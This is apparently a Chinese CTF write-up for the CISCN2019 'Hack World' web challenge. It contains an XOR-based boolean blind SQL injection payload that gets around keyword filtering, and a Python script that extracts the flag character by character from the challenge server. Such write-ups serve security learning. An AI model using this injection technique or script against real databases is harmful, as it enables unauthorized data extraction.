[CISCN2019 华北赛区 Day2 Web1]Hack World 1详解
打开题目,
我们开始尝试注入,
输入0回显Error Occured When Fetch Result.
输入1回显Hello, glzjin wants a girlfriend.
输入2回显Do you want to be my girlfriend?
输入大于2的数回显:Error Occured When Fetch Result.
但是有趣的是,我们输入1/1结果回显了Hello, glzjin wants a girlfriend.
于是我们判断它是数字型注入
然后我们继续测试,发现过滤了很多关键字 如:or 、 union、and等,但是没有过滤()于是我们可以使用很多函数
在这里我们使用bool(false)盲注,而且用到了异或,这东西相当于or的用法
0^0 //false
0^1 //true
于是构造payload: 0^(ascii(substr((select(flag)from(flag)),1,1))>0)
然后我们通过burpsuite发包,结果回显正常
于是我们就开始写exp: 这里读了大佬的脚本,我读了半天才读懂,希望可以给大家带来的新的知识吧
import requests import time url="http://bb9b367b-6928-4c66-b0d3-17a1ae3376f4.node3.buuoj.cn/index.php" payload = { "id" : "" } result = "" for i in range(1,100): l = 33 r =130 mid = (l+r)>>1 while(l<r): payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid) html = requests.post(url,data=payload) if "Hello" in html.text: l = mid+1 else: r = mid mid = (l+r)>>1 if(chr(mid)==" "): break result = result + chr(mid) print(result) print("flag: " ,result)
python一定要注意段落缩进,我跑了半天说我缩进有问题,我也是服了,也是自己不知道python的语言规则吧,吃一堑长一智。
然后我们就可以跑出flag了。
也是看了很久大佬的wp才学会这样玩,真舒服。继续加油吧